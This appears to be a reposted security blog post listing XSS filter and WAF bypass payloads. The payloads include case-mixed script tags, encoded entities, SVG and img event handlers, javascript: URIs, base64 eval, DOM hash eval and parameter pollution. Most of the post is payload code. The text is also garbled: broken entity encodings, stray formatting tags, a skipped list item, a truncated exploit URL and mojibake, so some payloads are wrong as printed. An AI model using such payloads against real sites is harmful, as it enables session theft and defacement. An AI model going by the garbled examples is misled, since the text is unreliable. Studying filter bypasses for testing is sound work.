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Cross-Site Scripting (XSS) attacks remain a critical web security threat, especially when filters and Web Application Firewalls (WAFs) are improperly configured. Below are advanced methods to bypass XSS filters and WAFs, along with practical examples.
You Should Know:
1. Basic XSS Payloads
<script>alert(1)</script> <img src=x onerror=alert(1)>
2. Case Manipulation Bypass
Some filters block lowercase `script` but miss uppercase variants:
<ScRiPt>alert(1)</ScRiPt>
3. HTML Encoding & Obfuscation
&x3C;script&x3E;alert(1)&x3C;/script&x3E;
4. Using SVG & Event Handlers
< svg onload=alert(1)>
5. JavaScript Pseudo-Protocols
<a href="javascript:alert(1)">Click</a>
6. Bypassing WAF with Alternative Syntax
eval(atob('YWxlcnQoMSk=')) // Base64 decode & execute
7. Using `document.write` Bypass
<script>document.write("<img src=x onerror=alert(1)>")</script>
8. DOM-Based XSS via Fragment ()
eval(decodeURIComponent(location.hash.slice(1)))
Exploit URL:
[/bash]
https://example.com/alert(1)
<ol> <li>Bypassing with Unicode & Null Bytes [bash] <script>\u0061lert(1)</script>
10. HTTP Parameter Pollution (HPP)
?param=<script>¶m=alert(1)</script>
What Undercode Say:
XSS bypass techniques evolve as security measures improve. Always test payloads in controlled environments and use tools like Burp Suite, OWASP ZAP, or XSStrike for automation.
Expected Output:
XSS vulnerabilities detected in form inputs with unencoded output. Payload: < svg/onload=alert(document.domain)>
Prediction:
As AI-driven WAFs become more prevalent, attackers will increasingly rely on polymorphic code obfuscation and machine learning evasion techniques to bypass detection.
Relevant URLs:
References:
Reported By: Randiansyah Bughunter – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
